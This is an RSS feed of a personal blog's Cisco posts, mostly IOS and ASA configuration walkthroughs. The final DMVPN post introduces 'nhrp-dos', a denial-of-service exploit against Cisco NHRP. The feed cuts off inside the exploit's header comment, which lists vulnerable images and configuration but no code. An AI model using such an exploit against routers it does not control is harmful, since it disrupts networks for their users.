<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Cisco on Details...</title>
    <link>https://www.deepreflect.net/tags/cisco/</link>
    <description>Recent content in Cisco on Details...</description>
    <generator>Hugo</generator>
    <language>en-US</language>
    <copyright>Copyright © 2003 - 2026 Leonardo Rizzi</copyright>
    <lastBuildDate>Tue, 30 Jun 2026 03:28:29 +0200</lastBuildDate>
    <atom:link href="https://www.deepreflect.net/tags/cisco/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Telecom Italia - IPv6 Pilot on Cisco</title>
      <link>https://www.deepreflect.net/2012/06/08/telecom-italia-ipv6-pilot-on-cisco/</link>
      <pubDate>Fri, 08 Jun 2012 23:44:20 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=1200</guid> 
      <description>&lt;p&gt;To my amazement, Telecom Italia released a pilot project of IPv6 deployment on residential/dynamic ip only adsl internet access, but on theirs support site there&amp;rsquo;s configuration only for some useless systems. So, I&amp;rsquo;ve decided to write a configuration for Cisco platform.&lt;/p&gt;
&lt;p&gt;Usually the typical Telecom Italia PPPoE or PPPoA ADSL connection with dynamic IPv4 only was authenticated with &amp;ldquo;aliceadsl&amp;rdquo; as user and password, now with bran new credential along IPv4 the endpoint router advertise a IPv6 /64 class (always dynamic).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>To my amazement, Telecom Italia released a pilot project of IPv6 deployment on residential/dynamic ip only adsl internet access, but on theirs support site there&rsquo;s configuration only for some useless systems. So, I&rsquo;ve decided to write a configuration for Cisco platform.</p>
<p>Usually the typical Telecom Italia PPPoE or PPPoA ADSL connection with dynamic IPv4 only was authenticated with &ldquo;aliceadsl&rdquo; as user and password, now with bran new credential along IPv4 the endpoint router advertise a IPv6 /64 class (always dynamic).</p>
<p>username: <a href="mailto:adsl@alice6.it">adsl@alice6.it</a>
password: IPV6@alice6</p>
<p>And now IOS configuration:</p>
<p>- ATM inteface:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface ATM0/0/0
</span></span><span style="display:flex;"><span>no ip address
</span></span><span style="display:flex;"><span>atm restart timer 300
</span></span><span style="display:flex;"><span>no atm ilmi-keepalive
</span></span><span style="display:flex;"><span>dsl operating-mode auto
</span></span><span style="display:flex;"><span>hold-queue 100 in
</span></span><span style="display:flex;"><span>!
</span></span><span style="display:flex;"><span>interface ATM0/0/0.1 point-to-point
</span></span><span style="display:flex;"><span>pvc 8/35
</span></span><span style="display:flex;"><span>vbr-nrt 380 380
</span></span><span style="display:flex;"><span>oam-pvc manage
</span></span><span style="display:flex;"><span>encapsulation aal5mux ppp dialer
</span></span><span style="display:flex;"><span>dialer pool-member 1
</span></span></code></pre></div><p>- Dialer inteface:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>interface Dialer0
</span></span><span style="display:flex;"><span>mtu 1492
</span></span><span style="display:flex;"><span>ip address negotiated
</span></span><span style="display:flex;"><span>ip nbar protocol-discovery
</span></span><span style="display:flex;"><span>ip flow ingress
</span></span><span style="display:flex;"><span>ip virtual-reassembly
</span></span><span style="display:flex;"><span>encapsulation ppp
</span></span><span style="display:flex;"><span>dialer pool 1
</span></span><span style="display:flex;"><span>dialer-group 1
</span></span><span style="display:flex;"><span>ipv6 address autoconfig
</span></span><span style="display:flex;"><span>ipv6 enable
</span></span><span style="display:flex;"><span>no cdp enable
</span></span><span style="display:flex;"><span>ppp authentication chap callin
</span></span><span style="display:flex;"><span>ppp chap hostname adsl@alice6.it
</span></span><span style="display:flex;"><span>ppp chap password 0 IPV6@alice6
</span></span><span style="display:flex;"><span>ppp pap sent-username adsl@alice6.it password 0 IPV6@alice6
</span></span></code></pre></div><p>- Route configuration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>ip route 0.0.0.0 0.0.0.0 Dialer0
</span></span><span style="display:flex;"><span>ipv6 route 2000::/3 Dialer0
</span></span></code></pre></div><p>You can check with following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>route01#sh ip int brief | sec Dialer0
</span></span><span style="display:flex;"><span>Dialer0                    XXX.XXX.XXX.XXX    YES IPCP   up                    up
</span></span><span style="display:flex;"><span>route01#sh ipv6 int brief | sec Dialer0
</span></span><span style="display:flex;"><span>Dialer0                    [up/up]
</span></span><span style="display:flex;"><span>FE80::1
</span></span><span style="display:flex;"><span>2A01:2003:xxxx:xxxx::1
</span></span></code></pre></div><p>You can discover your /64 assigned class with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>route01#sh ipv6 int di0 | sec Global
</span></span><span style="display:flex;"><span> Global unicast address(es):
</span></span><span style="display:flex;"><span> 2A01:2003:xxxx:xxxx::1, subnet is 2A01:2003:xxxx:xxxx::/64 [PRE]
</span></span><span style="display:flex;"><span> valid lifetime 2591993 preferred lifetime 604793
</span></span><span style="display:flex;"><span> route01#
</span></span></code></pre></div><p>I&rsquo;ve left out NAT and other further configuration.</p>
<p>Update: <a href="/2012/06/09/ipv6-prefix-delegation-cisco-ios/">prefix delegation</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - service config</title>
      <link>https://www.deepreflect.net/2010/04/26/cisco-service-config/</link>
      <pubDate>Mon, 26 Apr 2010 15:32:26 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=924</guid> 
      <description>&lt;p&gt;Randomly, during bootup of Cisco hardware (IOS), error messages similar to these are displayed:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%Error opening tftp://255.255.255.255/network-confg (Socket error)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%Error opening tftp://255.255.255.255/cisconet.cfg (Socket error)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%Error opening tftp://255.255.255.255/hostname-confg (Socket error)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%Error opening tftp://255.255.255.255/hostname.cfg (Socket error)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;These error messages are related to the default service configuration option built into Cisco IOS software, which attempts to access the service configuration files from a network Trivial File Transfer Protocol (TFTP) server.&lt;/p&gt;
&lt;p&gt;In order to disable this feature, issue the no service config global command.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Randomly, during bootup of Cisco hardware (IOS), error messages similar to these are displayed:</p>
<p><code>%Error opening tftp://255.255.255.255/network-confg (Socket error)</code></p>
<p><code>%Error opening tftp://255.255.255.255/cisconet.cfg (Socket error)</code></p>
<p><code>%Error opening tftp://255.255.255.255/hostname-confg (Socket error)</code></p>
<p><code>%Error opening tftp://255.255.255.255/hostname.cfg (Socket error)</code></p>
<p>These error messages are related to the default service configuration option built into Cisco IOS software, which attempts to access the service configuration files from a network Trivial File Transfer Protocol (TFTP) server.</p>
<p>In order to disable this feature, issue the no service config global command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>Router#config terminal
</span></span><span style="display:flex;"><span>Enter configuration commands, one per line.
</span></span><span style="display:flex;"><span>Router(config)#no service config
</span></span><span style="display:flex;"><span>Router(config)#exit
</span></span><span style="display:flex;"><span>Router#copy running-config startup-config`
</span></span><span style="display:flex;"><span>``
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Cisco - ATM Clockrate</title>
      <link>https://www.deepreflect.net/2010/04/21/cisco-atm-clockrate/</link>
      <pubDate>Wed, 21 Apr 2010 15:09:18 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=915</guid> 
      <description>&lt;p&gt;If you have performance problem on Cisco 1721, Cisco 2610XM-2651XM, Cisco 2691, and Cisco 3660, with WIC-1DSL - IOS 12.3(2) or above, probably depends on the default value associated with ALL5 clockrate.&lt;/p&gt;
&lt;p&gt;If yuo wanna check type the following command on your router:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hellroute01#show controller atm0/0 | include ATM0/0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Interface: ATM0/0, Hardware: DSLSAR (with Alcatel ADSL Module), State: up
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SCC0 =  2600000 (ATM0/0)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SCC3 = 1000000 (ATM0/0)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hellroute01#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you get 2600000 (default value) on SCC0 or SCC1 your downlink speed rate probably is limitated at about 300 KB/s&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you have performance problem on Cisco 1721, Cisco 2610XM-2651XM, Cisco 2691, and Cisco 3660, with WIC-1DSL - IOS 12.3(2) or above, probably depends on the default value associated with ALL5 clockrate.</p>
<p>If yuo wanna check type the following command on your router:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>hellroute01#show controller atm0/0 | include ATM0/0
</span></span><span style="display:flex;"><span>Interface: ATM0/0, Hardware: DSLSAR (with Alcatel ADSL Module), State: up
</span></span><span style="display:flex;"><span>SCC0 =  2600000 (ATM0/0)
</span></span><span style="display:flex;"><span>SCC3 = 1000000 (ATM0/0)
</span></span><span style="display:flex;"><span>hellroute01#
</span></span></code></pre></div><p>If you get 2600000 (default value) on SCC0 or SCC1 your downlink speed rate probably is limitated at about 300 KB/s</p>
<p>For get full speed, put max supported value on aal5 clockrate like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>hellroute01(config)#int atm0/0
</span></span><span style="display:flex;"><span> hellroute01(config-if)#clock rate aal5 ?
</span></span><span style="display:flex;"><span> 1000000
</span></span><span style="display:flex;"><span> 1300000
</span></span><span style="display:flex;"><span> 1600000
</span></span><span style="display:flex;"><span> 2000000
</span></span><span style="display:flex;"><span> 2600000 (default)
</span></span><span style="display:flex;"><span> 3200000
</span></span><span style="display:flex;"><span> 4000000
</span></span><span style="display:flex;"><span> 5300000
</span></span><span style="display:flex;"><span> 7000000
</span></span><span style="display:flex;"><span>&lt;1000000-7000000&gt;  clock rates in bits per second, choose one from above
</span></span><span style="display:flex;"><span>hellroute01(config-if)#clock rate aal5 7000000
</span></span></code></pre></div><p>Becareful the atm interface is automatically restart for apply the change. Then you lost connection on this interface.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco - ASA/PIX enable ASDM</title>
      <link>https://www.deepreflect.net/2009/09/17/cisco-asapix-enable-asdm/</link>
      <pubDate>Thu, 17 Sep 2009 14:49:16 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=723</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a&amp;gt; enable
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a# configure terminal
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# interface ethernet1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# nameif inside
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)# no shutdown
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config-if)#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Activate ASDM and enable http server.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# asdm image flash:/asdm.bin.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# http server enable.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open a connection for your inside network.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fw01a(Config)# http 192.168.1.0 255.255.255.0 inside&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Make sure all your config running properly.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)# show running http
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http server enabled
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http 192.168.1.0 255.255.255.0 inside
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fw01a(Config)#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin&lt;/p&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a&gt; enable
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>fw01a# configure terminal
</span></span><span style="display:flex;"><span>fw01a(Config)# interface ethernet1
</span></span><span style="display:flex;"><span>fw01a(Config-if)# nameif inside
</span></span><span style="display:flex;"><span>fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
</span></span><span style="display:flex;"><span>fw01a(Config-if)# no shutdown
</span></span><span style="display:flex;"><span>fw01a(Config-if)#
</span></span></code></pre></div><p>Activate ASDM and enable http server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a(Config)# asdm image flash:/asdm.bin.
</span></span><span style="display:flex;"><span>fw01a(Config)# http server enable.
</span></span></code></pre></div><p>Open a connection for your inside network.</p>
<p><code>fw01a(Config)# http 192.168.1.0 255.255.255.0 inside</code></p>
<p>Make sure all your config running properly.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>fw01a(Config)# show running http
</span></span><span style="display:flex;"><span>http server enabled
</span></span><span style="display:flex;"><span>http 192.168.1.0 255.255.255.0 inside
</span></span><span style="display:flex;"><span>fw01a(Config)#
</span></span></code></pre></div><p>Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco DMVPN/NBMA - Security</title>
      <link>https://www.deepreflect.net/2009/09/16/cisco-dmvpn-nbma-security/</link>
      <pubDate>Wed, 16 Sep 2009 01:54:46 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=708</guid> 
      <description>&lt;p&gt;I&amp;rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.&lt;/p&gt;
&lt;p&gt;Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.&lt;/p&gt;
&lt;p&gt;Solution:
I&amp;rsquo;m thinking about&amp;hellip;&lt;/p&gt;
&lt;p&gt;Only for testing purpose, I find this exploit:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* nhrp-dos - Copyright by Martin Kluge, &amp;lt;mk@elxsi.de&amp;gt;                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Feel free to modify this code as you like, as long as you include the      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* above copyright statement.                                                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Please use this code only to check your OWN cisco routers.                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cisco bug ID: CSCin95836                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork to determine the internetworking layer address and NBMA         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork addresses of the NBMA next hop towards the destination.         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPSEC.                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* URLs:                                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                        logies_white_paper09186a008018983e.shtml            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* provided.                                                                  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable images (tested):                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7100-jk9o3s-mz.123-12e.bin                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7200-jk8o3s-mz.122-40.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c3640-js-mz.122-15.T17.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* (and many other IOS versions on different platforms)                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable configuration on cisco IOS:                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* interface Tunnel0                                                          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip address 10.0.0.1 255.255.255.128                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip redirects                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip proxy-arp                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip mtu 1464                                                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp authentication mysecret                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp network-id 1000                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp map multicast dynamic                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp server-only                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp holdtime 30                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel source FastEthernet0/0                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel mode gre multipoint                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel key 123456789                                                      */&lt;/span&gt;
